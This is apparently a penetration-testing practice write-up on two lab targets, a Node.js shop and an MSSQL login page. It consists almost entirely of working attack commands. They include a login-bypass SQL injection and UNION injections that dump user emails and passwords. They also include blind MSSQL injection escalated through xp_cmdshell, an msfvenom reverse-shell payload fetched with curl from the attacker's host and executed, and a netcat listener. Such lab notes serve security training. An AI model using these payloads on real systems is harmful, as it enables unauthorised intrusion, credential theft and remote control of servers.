Howlsec
HOWLSEC
offensive security
// notes/ Practice Boxes
🟩

Evolve Swag / Medtech — Evolve Security (10.50.158.71)

Two related Evolve targets: the Evolve Swag Node.js shop and the Medtech MSSQL web app.

#evolve security#evolve#walkthrough#boxes#os:windows#os:linux#tech:sqli#tech:rce

Evolve Swag / Medtech — Evolve Security (10.50.158.71)

Two related Evolve targets: the Evolve Swag Node.js shop and the Medtech MSSQL web app.

Evolve Swag (10.50.158.71)

🐺 howlsec@kali
$sudo rustscan -a evolve_swag -- -A -sC
$22/tcp   open  ssh   OpenSSH 7.6p1 Ubuntu
$3000/tcp open  http  Node.js Express - "Evolve Swag Shop" (robots.txt disallows /ftp)

Directory discovery found /ftp, /promotion, /assets. Two SQLi vectors:

Login SQLi

🐺 howlsec@kali
01' or 1=1-- -

Search API SQLi (SQLite backend)

🐺 howlsec@kali
01http://ip:3000/rest/products/search?q=a'
02http://ip:3000/rest/products/search?q=a')) --                      -- match query structure
03')) UNION SELECT 1,name,3,4,5,6,7,8,9 FROM sqlite_master WHERE type='table'--
04')) UNION SELECT id,email,username,password,'5','6','7','8','9' FROM users--

Medtech (http://192.168.216.121/login.aspx)

MSSQL time-based blind SQLi -> xp_cmdshell RCE:

🐺 howlsec@kali
01' WAITFOR DELAY '0:0:10' --                                        -- confirm blind SQLi
02' EXEC xp_cmdshell 'ping -n 3 192.168.45.221' -- -                 -- confirm exec (tcpdump icmp)
🐺 howlsec@kali
$msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f exe > shell.exe
$python3 -m http.server 80 ; nc -lvnp 443
🐺 howlsec@kali
01' EXEC xp_cmdshell 'curl http://192.168.45.221/shell.exe -o c:\windows\tasks\shell.exe' -- -
02' EXEC xp_cmdshell 'c:\windows\tasks\shell.exe' -- -